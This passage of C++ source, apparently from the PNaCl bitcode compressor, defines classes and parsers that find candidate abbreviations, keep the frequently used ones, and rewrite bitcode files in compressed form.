Abbrev->Add(*Iter);
}
if (Simplify) {
NaClBitCodeAbbrev *SimpAbbrev = Abbrev->Simplify();
Abbrev->dropRef();
return SimpAbbrev;
} else {
return Abbrev;
}
}
// The abbreviation used for the record code.
NaClBitCodeAbbrevOp CodeOp;
// The abbreviations used for each tracked value index.
std::vector<NaClBitCodeAbbrevOp> AbbrevOps;
private:
// Any remaining abbreviation operators not part of the unrolling.
std::vector<NaClBitCodeAbbrevOp> MoreOps;
// Extracts out the next abbreviation operator from the abbreviation
// Abbrev, given the index NextOp, and assigns it to AbbrevOp
void unrollAbbrevOp(NaClBitCodeAbbrevOp &AbbrevOp,
NaClBitCodeAbbrev *Abbrev,
unsigned &NextOp) {
assert(NextOp < Abbrev->getNumOperandInfos());
const NaClBitCodeAbbrevOp &Op = Abbrev->getOperandInfo(NextOp);
if (Op.isArrayOp()) {
// Do not advance. The array operator assumes that all remaining
// elements should match its argument.
AbbrevOp = Abbrev->getOperandInfo(NextOp+1);
} else {
AbbrevOp = Op;
NextOp++;
}
}
};
/// Models a candidate block abbreviation, which is a blockID, and the
/// corresponding abbreviation to be considered for addition. Note:
/// Constructors and assignment take ownership of the abbreviation.
class CandBlockAbbrev {
public:
CandBlockAbbrev(unsigned BlockID, NaClBitCodeAbbrev *Abbrev)
: BlockID(BlockID), Abbrev(Abbrev) {
}
CandBlockAbbrev(const CandBlockAbbrev &BlockAbbrev)
: BlockID(BlockAbbrev.BlockID),
Abbrev(BlockAbbrev.Abbrev) {
Abbrev->addRef();
}
void operator=(const CandBlockAbbrev &BlockAbbrev) {
Abbrev->dropRef();
BlockID = BlockAbbrev.BlockID;
Abbrev = BlockAbbrev.Abbrev;
Abbrev->addRef();
}
~CandBlockAbbrev() {
Abbrev->dropRef();
}
/// The block ID of the candidate abbreviation.
unsigned getBlockID() const {
return BlockID;
}
/// The abbreviation of the candidate abbreviation.
const NaClBitCodeAbbrev *getAbbrev() const {
return Abbrev;
}
/// orders this against the candidate abbreviation.
int compare(const CandBlockAbbrev &CandAbbrev) const {
unsigned diff = BlockID - CandAbbrev.BlockID;
if (diff) return diff;
return Abbrev->Compare(*CandAbbrev.Abbrev);
}
/// Prints the candidate abbreviation to the given stream.
void print(raw_ostream &Stream) const {
printAbbrev(Stream, BlockID, Abbrev);
}
private:
// The block the abbreviation applies to.
unsigned BlockID;
// The candidate abbreviation.
NaClBitCodeAbbrev *Abbrev;
};
static inline bool operator<(const CandBlockAbbrev &A1,
const CandBlockAbbrev &A2) {
return A1.compare(A2) < 0;
}
/// Models the set of candidate abbreviations being considered, and
/// the number of abbreviations associated with each candidate
/// Abbreviation.
///
/// Note: Because we may have abbreviation refinements of A->B->C and
/// A->D->C, we need to accumulate instance counts in such cases.
class CandidateAbbrevs {
public:
// Map from candidate abbreviations to the corresponding number of
// instances.
typedef std::map<CandBlockAbbrev, unsigned> AbbrevCountMap;
typedef AbbrevCountMap::const_iterator const_iterator;
/// Creates an empty set of candidate abbreviations, to be
/// (potentially) added to the given set of block abbreviations.
/// Argument is the (global) block abbreviations map, which is
/// used to determine if it already exists.
CandidateAbbrevs(BlockAbbrevsMapType &BlockAbbrevsMap)
: BlockAbbrevsMap(BlockAbbrevsMap)
{}
/// Adds the given (unrolled) abbreviation as a candidate
/// abbreviation to the given block. NumInstances is the number of
/// instances expected to use this candidate abbreviation. Returns
/// true if the corresponding candidate abbreviation is added to this
/// set of candidate abbreviations.
bool add(unsigned BlockID,
UnrolledAbbreviation &UnrolledAbbrev,
unsigned NumInstances);
/// Returns the list of candidate abbreviations in this set.
const AbbrevCountMap &getAbbrevsMap() const {
return AbbrevsMap;
}
/// Prints out the current contents of this set.
void print(raw_ostream &Stream, const char *Title = "Candidates") const {
Stream << "-- " << Title << ": \n";
for (const_iterator Iter = AbbrevsMap.begin(), IterEnd = AbbrevsMap.end();
Iter != IterEnd; ++Iter) {
Stream << format("%12u", Iter->second) << ": ";
Iter->first.print(Stream);
}
Stream << "--\n";
}
private:
// The set of abbreviations and corresponding number instances.
AbbrevCountMap AbbrevsMap;
// The map of (global) abbreviations already associated with each block.
BlockAbbrevsMapType &BlockAbbrevsMap;
};
bool CandidateAbbrevs::add(unsigned BlockID,
UnrolledAbbreviation &UnrolledAbbrev,
unsigned NumInstances) {
// Drop if it corresponds to an existing global abbreviation.
NaClBitCodeAbbrev *Abbrev = UnrolledAbbrev.restore();
if (BlockAbbrevs* Abbrevs = BlockAbbrevsMap[BlockID]) {
if (Abbrevs->findAbbreviation(Abbrev) !=
BlockAbbrevs::NO_SUCH_ABBREVIATION) {
Abbrev->dropRef();
return false;
}
}
CandBlockAbbrev CandAbbrev(BlockID, Abbrev);
AbbrevCountMap::iterator Pos = AbbrevsMap.find(CandAbbrev);
if (Pos == AbbrevsMap.end()) {
AbbrevsMap[CandAbbrev] = NumInstances;
} else {
Pos->second += NumInstances;
}
return true;
}
// Look for new abbreviations in block BlockID, considering it was
// read with the given abbreviation Abbrev, and considering changing
// the abbreviation opererator for value Index. ValueDist is how
// values at Index are distributed. Any found abbreviations are added
// to the candidate abbreviations CandAbbrevs. Returns true only if we
// have added new candidate abbreviations to CandAbbrevs.
static bool addNewAbbreviations(unsigned BlockID,
const UnrolledAbbreviation &Abbrev,
unsigned Index,
NaClBitcodeValueDist &ValueDist,
CandidateAbbrevs &CandAbbrevs) {
// TODO(kschimpf): Add code to try and find a better encoding for
// the values, based on the distribution.
// If this index is already a literal abbreviation, no improvements can
// be made.
const NaClBitCodeAbbrevOp Op = Abbrev.AbbrevOps[Index];
if (Op.isLiteral()) return false;
// Search based on sorted distribution, which sorts by number of
// instances. Start by trying to find possible constants to use.
const NaClBitcodeDist::Distribution *
Distribution = ValueDist.GetDistribution();
for (NaClBitcodeDist::Distribution::const_iterator
Iter = Distribution->begin(), IterEnd = Distribution->end();
Iter != IterEnd; ++Iter) {
NaClValueRangeType Range = GetNaClValueRange(Iter->second);
if (Range.first != Range.second) continue; // not a constant.
// Defines a constant. Try as new candidate range. In addition,
// don't try any more constant values, since this is the one with
// the greatest number of instances.
NaClBitcodeDistElement *Elmt = ValueDist.at(Range.first);
UnrolledAbbreviation CandAbbrev(Abbrev);
CandAbbrev.AbbrevOps[Index] = NaClBitCodeAbbrevOp(Range.first);
return CandAbbrevs.add(BlockID, CandAbbrev, Elmt->GetNumInstances());
}
return false;
}
// Look for new abbreviations in block BlockID, considering it was
// read with the given abbreviation Abbrev. IndexDist is the
// corresponding distribution of value indices associated with the
// abbreviation. Any found abbreviations are added to the candidate
// abbreviations CandAbbrevs.
static void addNewAbbreviations(
const NaClBitcodeCompressor::CompressFlags &Flags,
unsigned BlockID, const UnrolledAbbreviation &Abbrev,
NaClBitcodeDist &IndexDist, CandidateAbbrevs &CandAbbrevs) {
// Search based on sorted distribution, which sorts based on heuristic
// of best index to fix first.
const NaClBitcodeDist::Distribution *
IndexDistribution = IndexDist.GetDistribution();
for (NaClBitcodeDist::Distribution::const_iterator
IndexIter = IndexDistribution->begin(),
IndexIterEnd = IndexDistribution->end();
IndexIter != IndexIterEnd; ++IndexIter) {
unsigned Index = static_cast<unsigned>(IndexIter->second);
if (addNewAbbreviations(
BlockID, Abbrev, Index,
cast<NaClBitcodeValueIndexDistElement>(IndexDist.at(Index))
->GetValueDist(),
CandAbbrevs)) {
return;
}
}
}
// Look for new abbreviations in block BlockID, considering it was
// read with the given abbreviation Abbrev, and the given record Code.
// SizeDist is the corresponding distribution of sizes associated with
// the abbreviation. Any found abbreviations are added to the
// candidate abbreviations CandAbbrevs.
static void addNewAbbreviations(
const NaClBitcodeCompressor::CompressFlags &Flags,
unsigned BlockID, NaClBitCodeAbbrev *Abbrev, unsigned Code,
NaClBitcodeDist &SizeDist, CandidateAbbrevs &CandAbbrevs) {
const NaClBitcodeDist::Distribution *
SizeDistribution = SizeDist.GetDistribution();
for (NaClBitcodeDist::Distribution::const_iterator
SizeIter = SizeDistribution->begin(),
SizeIterEnd = SizeDistribution->end();
SizeIter != SizeIterEnd; ++SizeIter) {
unsigned Size = static_cast<unsigned>(SizeIter->second);
UnrolledAbbreviation UnrolledAbbrev(Abbrev, Size+1 /* Add code! */,
Size >= NaClValueIndexCutoff);
if (!UnrolledAbbrev.CodeOp.isLiteral()) {
// Try making the code a literal.
UnrolledAbbreviation CandAbbrev(UnrolledAbbrev);
CandAbbrev.CodeOp = NaClBitCodeAbbrevOp(Code);
CandAbbrevs.add(BlockID, CandAbbrev,
SizeDist.at(Size)->GetNumInstances());
}
// Now process value indices to find candidate abbreviations.
addNewAbbreviations(Flags, BlockID, UnrolledAbbrev,
cast<NaClBitcodeSizeDistElement>(SizeDist.at(Size))
->GetValueIndexDist(),
CandAbbrevs);
}
}
// Look for new abbreviations in block BlockID. Abbrevs is the map of
// read (globally defined) abbreviations associated with the
// BlockID. AbbrevDist is the distribution map of abbreviations
// associated with BlockID. Any found abbreviations are added to the
// candidate abbreviations CandAbbrevs.
static void addNewAbbreviations(
const NaClBitcodeCompressor::CompressFlags &Flags, unsigned BlockID,
BlockAbbrevs *Abbrevs, NaClBitcodeDist &AbbrevDist,
CandidateAbbrevs &CandAbbrevs) {
const NaClBitcodeDist::Distribution *
AbbrevDistribution = AbbrevDist.GetDistribution();
for (NaClBitcodeDist::Distribution::const_iterator
AbbrevIter = AbbrevDistribution->begin(),
AbbrevIterEnd = AbbrevDistribution->end();
AbbrevIter != AbbrevIterEnd; ++AbbrevIter) {
NaClBitcodeDistValue AbbrevIndex = AbbrevIter->second;
NaClBitCodeAbbrev *Abbrev = Abbrevs->getIndexedAbbrev(AbbrevIndex);
NaClBitcodeAbbrevDistElement *AbbrevElmt =
cast<NaClBitcodeAbbrevDistElement>(AbbrevDist.at(AbbrevIndex));
NaClBitcodeDist &CodeDist = AbbrevElmt->GetCodeDist();
const NaClBitcodeDist::Distribution *
CodeDistribution = CodeDist.GetDistribution();
for (NaClBitcodeDist::Distribution::const_iterator
CodeIter = CodeDistribution->begin(),
CodeIterEnd = CodeDistribution->end();
CodeIter != CodeIterEnd; ++CodeIter) {
unsigned Code = static_cast<unsigned>(CodeIter->second);
addNewAbbreviations(
Flags, BlockID, Abbrev, Code,
cast<NaClCompressCodeDistElement>(CodeDist.at(CodeIter->second))
->GetSizeDist(),
CandAbbrevs);
}
}
}
typedef std::pair<unsigned, CandBlockAbbrev> CountedAbbrevType;
// Look for new abbreviations in the given block distribution map
// BlockDist. BlockAbbrevsMap contains the set of read global
// abbreviations. Adds found candidate abbreviations to the set of
// known global abbreviations.
static void addNewAbbreviations(
const NaClBitcodeCompressor::CompressFlags &Flags,
NaClBitcodeBlockDist &BlockDist, BlockAbbrevsMapType &BlockAbbrevsMap) {
CandidateAbbrevs CandAbbrevs(BlockAbbrevsMap);
// Start by collecting candidate abbreviations.
const NaClBitcodeDist::Distribution *
Distribution = BlockDist.GetDistribution();
for (NaClBitcodeDist::Distribution::const_iterator
Iter = Distribution->begin(), IterEnd = Distribution->end();
Iter != IterEnd; ++Iter) {
unsigned BlockID = static_cast<unsigned>(Iter->second);
addNewAbbreviations(
Flags, BlockID, BlockAbbrevsMap[BlockID],
cast<NaClCompressBlockDistElement>(BlockDist.at(BlockID))
->GetAbbrevDist(),
CandAbbrevs);
}
// Install candidate abbreviations.
//
// Sort the candidate abbreviations by number of instances, so that
// if multiple abbreviations apply, the one with the largest number
// of instances will be chosen when compressing a file.
//
// For example, we may have just generated two abbreviations. The
// first has replaced the 3rd element with the constant 4 while the
// second replaced the 4th element with the constant 5. The first
// abbreviation can apply to 300 records while the second can apply
// to 1000 records. Assuming that both abbreviations shrink the
// record by the same number of bits, we clearly want the tool to
// choose the second abbreviation when selecting the abbreviation
// index to choose (via method getRecordAbbrevIndex).
//
// Selecting the second is important in that abbreviation are
// refined by successive calls to this tool. We do not want to
// restrict downstream refinements prematurely. Hence, we want the
// tool to choose the abbreviation with the most candidates first.
//
// Since method getRecordAbbrevIndex chooses the first abbreviation
// that generates the least number of bits, we clearly want to make
// sure that the second abbreviation occurs before the first.
std::vector<CountedAbbrevType> Candidates;
for (CandidateAbbrevs::const_iterator
Iter = CandAbbrevs.getAbbrevsMap().begin(),
IterEnd = CandAbbrevs.getAbbrevsMap().end();
Iter != IterEnd; ++Iter) {
Candidates.push_back(CountedAbbrevType(Iter->second,Iter->first));
}
std::sort(Candidates.begin(), Candidates.end());
std::vector<CountedAbbrevType>::const_reverse_iterator
Iter = Candidates.rbegin(), IterEnd = Candidates.rend();
if (Iter == IterEnd) return;
if (Flags.TraceGeneratedAbbreviations) {
errs() << "-- New abbrevations:\n";
}
unsigned Min = (Iter->first >> 2);
for (; Iter != IterEnd; ++Iter) {
if (Iter->first < Min) break;
unsigned BlockID = Iter->second.getBlockID();
BlockAbbrevs *Abbrevs = BlockAbbrevsMap[BlockID];
NaClBitCodeAbbrev *Abbrev = Iter->second.getAbbrev()->Copy();
if (Flags.TraceGeneratedAbbreviations) {
errs() <<format("%12u", Iter->first) << ": ";
printAbbrev(errs(), BlockID, Abbrev);
}
Abbrevs->addAbbreviation(Abbrev);
}
if (Flags.TraceGeneratedAbbreviations) {
errs() << "--\n";
}
}
// Walks the block distribution (BlockDist), sorting entries based
// on the distribution of blocks and abbreviations, and then
// prints out the frequency of each abbreviation used.
static void displayAbbreviationFrequencies(
raw_ostream &Output,
const NaClBitcodeBlockDist &BlockDist,
const BlockAbbrevsMapType &BlockAbbrevsMap) {
const NaClBitcodeDist::Distribution *BlockDistribution =
BlockDist.GetDistribution();
for (NaClBitcodeDist::Distribution::const_iterator
BlockIter = BlockDistribution->begin(),
BlockIterEnd = BlockDistribution->end();
BlockIter != BlockIterEnd; ++BlockIter) {
unsigned BlockID = static_cast<unsigned>(BlockIter->second);
BlockAbbrevsMapType::const_iterator BlockPos = BlockAbbrevsMap.find(BlockID);
if (BlockPos == BlockAbbrevsMap.end()) continue;
Output << "Block " << BlockID << "\n";
if (NaClCompressBlockDistElement *BlockElement =
dyn_cast<NaClCompressBlockDistElement>(BlockDist.at(BlockID))) {
NaClBitcodeDist &AbbrevDist = BlockElement->GetAbbrevDist();
const NaClBitcodeDist::Distribution *AbbrevDistribution =
AbbrevDist.GetDistribution();
unsigned Total = AbbrevDist.GetTotal();
for (NaClBitcodeDist::Distribution::const_iterator
AbbrevIter = AbbrevDistribution->begin(),
AbbrevIterEnd = AbbrevDistribution->end();
AbbrevIter != AbbrevIterEnd; ++AbbrevIter) {
unsigned Index = static_cast<unsigned>(AbbrevIter->second);
unsigned Count = AbbrevDist.at(Index)->GetNumInstances();
Output << format("%8u (%6.2f%%): ", Count,
(double) Count/Total*100.0);
BlockPos->second->getIndexedAbbrev(Index)->Print(Output);
}
}
Output << '\n';
}
}
// Read in bitcode, analyze data, and figure out set of abbreviations
// to use, from memory buffer MemBuf containing the input bitcode file.
// If ShowAbbreviationFrequencies or Flag.ShowValueDistributions are
// defined, the corresponding results is printed to Output.
static bool analyzeBitcode(
const NaClBitcodeCompressor::CompressFlags &Flags,
MemoryBuffer *MemBuf,
raw_ostream &Output,
BlockAbbrevsMapType &BlockAbbrevsMap) {
// TODO(kschimpf): The current code only extracts abbreviations
// defined in the bitcode file. This code needs to be updated to
// collect data distributions and figure out better (global)
// abbreviations to use.
const unsigned char *BufPtr = (const unsigned char *)MemBuf->getBufferStart();
const unsigned char *EndBufPtr = BufPtr+MemBuf->getBufferSize();
// First read header and verify it is good.
NaClBitcodeHeader Header;
if (Header.Read(BufPtr, EndBufPtr))
return Error("Invalid PNaCl bitcode header");
if (!Header.IsSupported()) {
errs() << Header.Unsupported();
if (!Header.IsReadable())
return Error("Invalid PNaCl bitcode header");
}
// Create a bitstream reader to read the bitcode file.
NaClBitstreamReader StreamFile(BufPtr, EndBufPtr, Header);
NaClBitstreamCursor Stream(StreamFile);
// Parse the the bitcode file.
NaClAnalyzeParser Parser(Flags, Stream, BlockAbbrevsMap);
while (!Stream.AtEndOfStream()) {
if (Parser.Parse()) return true;
}
if (Flags.ShowAbbreviationFrequencies)
displayAbbreviationFrequencies(Output, Parser.BlockDist, BlockAbbrevsMap);
if (Flags.ShowValueDistributions)
Parser.BlockDist.Print(Output);
addNewAbbreviations(Flags, Parser.BlockDist, BlockAbbrevsMap);
return false;
}
/// Models a queue of selected abbreviation indices, for each record
/// in all instances of a given block. Elements are added in the order
/// they appear in the bitcode file.
///
/// The goal is to remove abbreviations that are not really used, from
/// the list of candidate abbrevations, reducing the number of
/// abbreviations needed. This is important because as the number of
/// abbreviations increase, the number of bits needed to store the
/// abbreviations also increase. By removing unnecessary
/// abbreviations, this improves the ability of this executable to
/// compress the bitcode file.
class SelectedAbbrevsQueue {
SelectedAbbrevsQueue(const SelectedAbbrevsQueue &) = delete;
SelectedAbbrevsQueue &operator=(const SelectedAbbrevsQueue &) = delete;
// The minimum number of times an abbreviation must be used in the
// compressed version of the bitcode file, if it is going to be used
// at all.
static const uint32_t MinUsageCount = 5;
public:
SelectedAbbrevsQueue() : AbbrevsIndexQueueFront(0) {}
/// Adds the given selected abbreviation index to the end of the
/// queue.
void addIndex(unsigned Index) { AbbrevsIndexQueue.push_back(Index); }
/// Removes the next selected abbreviation index from the
/// queue.
unsigned removeIndex() {
assert(AbbrevsIndexQueueFront < AbbrevsIndexQueue.size());
return AbbrevsIndexQueue[AbbrevsIndexQueueFront++];
}
/// Takes the abbreviation indices on the queue, determines what
/// subset of abbreviations should be kept, and puts them on the
/// list of abbreviations defined by getKeptAbbrevs. Updates the
/// abbreviation idices on the queue to match the corresponding kept
/// abbreviations.
///
/// Should be called after the last call to AddIndex, and before
/// calling removeIndex.
void installFrequentlyUsedAbbrevs(BlockAbbrevs *Abbrevs);
/// Return the list of kept abbreviations, for the corresponding
/// block, in the order they should be defined.
const std::vector<NaClBitCodeAbbrev *> &getKeptAbbrevs() const {
return KeptAbbrevs;
}
/// Returns the maximum abbreviation index used by the kept
/// abbreviations.
unsigned getMaxKeptAbbrevIndex() const {
return KeptAbbrevs.size() + naclbitc::DEFAULT_MAX_ABBREV;
}
protected:
// Defines a queue of abbreviations indices using a
// vector. AbbrevsIndexQueueFront is used to point to the front of
// the queue.
std::vector<unsigned> AbbrevsIndexQueue;
unsigned AbbrevsIndexQueueFront;
// The list of abbreviations that should be defined for the block,
// in the order they should be defined.
std::vector<NaClBitCodeAbbrev *> KeptAbbrevs;
};
void SelectedAbbrevsQueue::installFrequentlyUsedAbbrevs(BlockAbbrevs *Abbrevs) {
// Start by collecting usage counts for each abbreviation.
assert(AbbrevsIndexQueueFront == 0);
assert(KeptAbbrevs.empty());
std::map<unsigned, uint32_t> UsageMap;
for (unsigned Index : AbbrevsIndexQueue) {
if (Index != naclbitc::UNABBREV_RECORD)
++UsageMap[Index];
}
// Install results
std::map<unsigned, unsigned> KeepIndexMap;
for (const std::pair<unsigned, uint32_t> &Pair : UsageMap) {
if (Pair.second >= MinUsageCount) {
KeepIndexMap[Pair.first] =
KeptAbbrevs.size() + naclbitc::FIRST_APPLICATION_ABBREV;
KeptAbbrevs.push_back(Abbrevs->getIndexedAbbrev(Pair.first));
}
}
// Update the queue of selected abbreviation indices to match kept
// abbreviations.
for (unsigned &AbbrevIndex : AbbrevsIndexQueue) {
std::map<unsigned, unsigned>::const_iterator NewPos =
KeepIndexMap.find(AbbrevIndex);
AbbrevIndex = NewPos == KeepIndexMap.end() ? naclbitc::UNABBREV_RECORD
: NewPos->second;
}
}
/// Models the kept queue of abbreviations associated with each block ID.
typedef std::map<unsigned, SelectedAbbrevsQueue *> BlockAbbrevsQueueMap;
typedef std::pair<unsigned, SelectedAbbrevsQueue *> BlockAbbrevsQueueMapElmt;
/// Installs frequently used abbreviations for each of the blocks
/// defined in AbbrevsQueueMap, based on the abbreviations in the
/// corresponding AbbrevsMap
static void
installFrequentlyUsedAbbrevs(BlockAbbrevsMapType &AbbrevsMap,
BlockAbbrevsQueueMap &AbbrevsQueueMap) {
for (const BlockAbbrevsQueueMapElmt &Pair : AbbrevsQueueMap) {
if (SelectedAbbrevsQueue *SelectedAbbrevs = Pair.second)
SelectedAbbrevs->installFrequentlyUsedAbbrevs(AbbrevsMap[Pair.first]);
}
}
/// Top level parser to queue selected abbreviation indices (within
/// the bitcode file), so that we can remove unused abbreviations from
/// the collected list of abbreviations before generating the final,
/// compressed bitcode file.
class NaClAssignAbbrevsParser : public NaClBitcodeParser {
public:
NaClAssignAbbrevsParser(NaClBitstreamCursor &Cursor,
BlockAbbrevsMapType &AbbrevsMap,
BlockAbbrevsQueueMap &AbbrevsQueueMap)
: NaClBitcodeParser(Cursor), AbbrevsMap(AbbrevsMap),
AbbrevsQueueMap(AbbrevsQueueMap) {}
~NaClAssignAbbrevsParser() final {}
bool ParseBlock(unsigned BlockID) final;
/// The abbreviations to use for the compressed bitcode.
BlockAbbrevsMapType &AbbrevsMap;
/// The corresponding selected abbreviation indices to for each
/// block.
BlockAbbrevsQueueMap &AbbrevsQueueMap;
};
/// Block parser to queue abbreviation indices used by the records in
/// the block.
class NaClAssignAbbrevsBlockParser : public NaClBitcodeParser {
public:
NaClAssignAbbrevsBlockParser(unsigned BlockID,
NaClAssignAbbrevsParser *Context)
: NaClBitcodeParser(BlockID, Context), BlockID(BlockID),
Context(Context) {
init();
}
~NaClAssignAbbrevsBlockParser() final {}
protected:
unsigned BlockID;
NaClAssignAbbrevsParser *Context;
// Cached abbreviations defined for this block,.
BlockAbbrevs *Abbreviations;
// Cached abbreviations queue to add abbreviation indices to.
SelectedAbbrevsQueue *Queue;
NaClAssignAbbrevsBlockParser(unsigned BlockID,
NaClAssignAbbrevsBlockParser *EnclosingParser)
: NaClBitcodeParser(BlockID, EnclosingParser), BlockID(BlockID),
Context(EnclosingParser->Context) {
init();
}
void init() {
Abbreviations = getAbbrevs(Context->AbbrevsMap, BlockID);
Queue = Context->AbbrevsQueueMap[BlockID];
if (Queue == nullptr) {
Queue = new SelectedAbbrevsQueue();
Context->AbbrevsQueueMap[BlockID] = Queue;
}
}
bool ParseBlock(unsigned BlockID) final {
NaClAssignAbbrevsBlockParser Parser(BlockID, this);
return Parser.ParseThisBlock();
}
void ProcessRecord() final {
// Find best fitting abbreviation to use, and save.
Queue->addIndex(
Abbreviations->getRecordAbbrevIndex(Record.GetRecordData()));
}
};
bool NaClAssignAbbrevsParser::ParseBlock(unsigned BlockID) {
NaClAssignAbbrevsBlockParser Parser(BlockID, this);
return Parser.ParseThisBlock();
}
// Reads the bitcode in MemBuf, using the abbreviations in AbbrevsMap,
// and queues the selected abbrevations for each record into
// AbbrevsQueueMap.
static bool chooseAbbrevs(MemoryBuffer *MemBuf, BlockAbbrevsMapType &AbbrevsMap,
BlockAbbrevsQueueMap &AbbrevsQueueMap) {
const unsigned char *BufPtr = (const unsigned char *)MemBuf->getBufferStart();
const unsigned char *EndBufPtr = BufPtr + MemBuf->getBufferSize();
// Read header. No verification is needed since AnalyzeBitcode has
// already checked it.
NaClBitcodeHeader Header;
if (Header.Read(BufPtr, EndBufPtr))
return Error("Invalid PNaCl bitcode header");
// Create the bitcode reader.
NaClBitstreamReader StreamFile(BufPtr, EndBufPtr, Header);
NaClBitstreamCursor Stream(StreamFile);
// Set up the parser.
NaClAssignAbbrevsParser Parser(Stream, AbbrevsMap, AbbrevsQueueMap);
// Parse the bitcode and choose abbreviations for records.
while (!Stream.AtEndOfStream()) {
if (Parser.Parse()) {
installFrequentlyUsedAbbrevs(AbbrevsMap, AbbrevsQueueMap);
return true;
}
}
installFrequentlyUsedAbbrevs(AbbrevsMap, AbbrevsQueueMap);
return false;
}
/// Parses the input bitcode file and generates the corresponding
/// compressed bitcode file, by replacing abbreviations in the input
/// file with the corresponding abbreviations defined in
/// BlockAbbrevsMap using the selected abbreviations in AbbrevsQueueMap.
class NaClBitcodeCopyParser : public NaClBitcodeParser {
public:
// Top-level constructor to build the appropriate block parser
// using the given BlockAbbrevsMap to define abbreviations.
NaClBitcodeCopyParser(const NaClBitcodeCompressor::CompressFlags &Flags,
NaClBitstreamCursor &Cursor,
BlockAbbrevsMapType &BlockAbbrevsMap,
BlockAbbrevsQueueMap &AbbrevsQueueMap,
NaClBitstreamWriter &Writer)
: NaClBitcodeParser(Cursor), Flags(Flags),
BlockAbbrevsMap(BlockAbbrevsMap), AbbrevsQueueMap(AbbrevsQueueMap),
Writer(Writer) {}
virtual ~NaClBitcodeCopyParser() {}
bool ParseBlock(unsigned BlockID) final;
const NaClBitcodeCompressor::CompressFlags &Flags;
// The abbreviations to use for the copied bitcode.
BlockAbbrevsMapType &BlockAbbrevsMap;
// Map defining the selected abbreviations for each block.
BlockAbbrevsQueueMap &AbbrevsQueueMap;
// The bitstream to copy the compressed bitcode into.
NaClBitstreamWriter &Writer;
};
class NaClBlockCopyParser : public NaClBitcodeParser {
public:
// Top-level constructor to build the appropriate block parser.
NaClBlockCopyParser(unsigned BlockID, NaClBitcodeCopyParser *Context)
: NaClBitcodeParser(BlockID, Context), Context(Context),
BlockAbbreviations(nullptr), SelectedAbbrevs(nullptr) {
init();
}
virtual ~NaClBlockCopyParser() {}
protected:
// The context defining state associated with the block parser.
NaClBitcodeCopyParser *Context;
// The block abbreviations defined for this block (initialized by
// EnterBlock).
BlockAbbrevs *BlockAbbreviations;
// The corresonding selected abbreviations.
SelectedAbbrevsQueue *SelectedAbbrevs;
/// Constructor to parse nested blocks. Creates a block parser to
/// parse in a block with the given BlockID, and write the block
/// back out using the abbreviations in BlockAbbrevsMap.
NaClBlockCopyParser(unsigned BlockID,
NaClBlockCopyParser *EnclosingParser)
: NaClBitcodeParser(BlockID, EnclosingParser),
Context(EnclosingParser->Context), BlockAbbreviations(nullptr),
SelectedAbbrevs(nullptr) {
init();
}
void init() {
unsigned BlockID = GetBlockID();
BlockAbbreviations = getGlobalAbbrevs(BlockID);
SelectedAbbrevs = Context->AbbrevsQueueMap[BlockID];
assert(SelectedAbbrevs);
}
/// Returns the set of (global) block abbreviations defined for the
/// given block ID.
BlockAbbrevs *getGlobalAbbrevs(unsigned BlockID) {
return getAbbrevs(Context->BlockAbbrevsMap, BlockID);
}
virtual bool ParseBlock(unsigned BlockID) {
NaClBlockCopyParser Parser(BlockID, this);
return Parser.ParseThisBlock();
}
virtual void EnterBlock(unsigned NumWords) {
// Enter the subblock.
NaClBitcodeSelectorAbbrev Selector(
SelectedAbbrevs->getMaxKeptAbbrevIndex());
if (Context->Flags.RemoveAbbreviations)
Selector = NaClBitcodeSelectorAbbrev();
unsigned BlockID = GetBlockID();
Context->Writer.EnterSubblock(BlockID, Selector);
if (BlockID != naclbitc::MODULE_BLOCK_ID
|| Context->Flags.RemoveAbbreviations)
return;
// To keep things simple, we dump all abbreviations immediately
// inside the module block. Start by dumping module abbreviations
// as local abbreviations.
for (auto Abbrev : SelectedAbbrevs->getKeptAbbrevs()) {
Context->Writer.EmitAbbrev(Abbrev->Copy());
}
// Insert the block info block, if needed, so that nested blocks
// will have defined abbreviations.
bool HasNonmoduleAbbrevs = false;
for (const BlockAbbrevsQueueMapElmt &Pair : Context->AbbrevsQueueMap) {
if (Pair.second->getKeptAbbrevs().empty())
continue;
HasNonmoduleAbbrevs = true;
break;
}
if (!HasNonmoduleAbbrevs)
return;
Context->Writer.EnterBlockInfoBlock();
for (const BlockAbbrevsMapElmtType &Pair : Context->BlockAbbrevsMap) {
unsigned BlockID = Pair.first;
// Don't emit module abbreviations, since they have been
// emitted as local abbreviations.
if (BlockID == naclbitc::MODULE_BLOCK_ID)
continue;
BlockAbbrevs *Abbrevs = Pair.second;
if (Abbrevs == nullptr)
continue;
if (SelectedAbbrevsQueue *SelectedAbbrevs =
Context->AbbrevsQueueMap[BlockID]) {
for (auto Abbrev : SelectedAbbrevs->getKeptAbbrevs()) {
Context->Writer.EmitBlockInfoAbbrev(BlockID, Abbrev->Copy());
}
}
}
Context->Writer.ExitBlock();
}
virtual void ExitBlock() {
Context->Writer.ExitBlock();
}
virtual void ProcessRecord() {
const NaClBitcodeRecord::RecordVector &Values = Record.GetValues();
if (Context->Flags.RemoveAbbreviations) {
Context->Writer.EmitRecord(Record.GetCode(), Values, 0);
return;
}
// Find best fitting abbreviation to use, and print out the record
// using that abbreviation.
unsigned AbbrevIndex = SelectedAbbrevs->removeIndex();
if (AbbrevIndex == naclbitc::UNABBREV_RECORD) {
Context->Writer.EmitRecord(Record.GetCode(), Values, 0);
} else {
Context->Writer.EmitRecord(Record.GetCode(), Values, AbbrevIndex);
}
}
};
bool NaClBitcodeCopyParser::ParseBlock(unsigned BlockID) {
NaClBlockCopyParser Parser(BlockID, this);
return Parser.ParseThisBlock();
}
// Read in bitcode, and write it back out using the abbreviations in
// BlockAbbrevsMap, from memory buffer MemBuf containing the input
// bitcode file. The bitcode is copied to Output.
static bool copyBitcode(const NaClBitcodeCompressor::CompressFlags &Flags,
MemoryBuffer *MemBuf, raw_ostream &Output,
BlockAbbrevsMapType &BlockAbbrevsMap,
BlockAbbrevsQueueMap &AbbrevsQueueMap) {
const unsigned char *BufPtr = (const unsigned char *)MemBuf->getBufferStart();
const unsigned char *EndBufPtr = BufPtr + MemBuf->getBufferSize();
// Read header. No verification is needed since AnalyzeBitcode has
// already checked it.
NaClBitcodeHeader Header;
if (Header.Read(BufPtr, EndBufPtr))
return Error("Invalid PNaCl bitcode header");
// Create the bitcode reader.
NaClBitstreamReader StreamFile(BufPtr, EndBufPtr, Header);
NaClBitstreamCursor Stream(StreamFile);
// Create the bitcode writer.
SmallVector<char, 0> OutputBuffer;
OutputBuffer.reserve(256 * 1024);
NaClBitstreamWriter StreamWriter(OutputBuffer);
// Emit the file header.
NaClWriteHeader(Header, StreamWriter);
// Set up the parser.
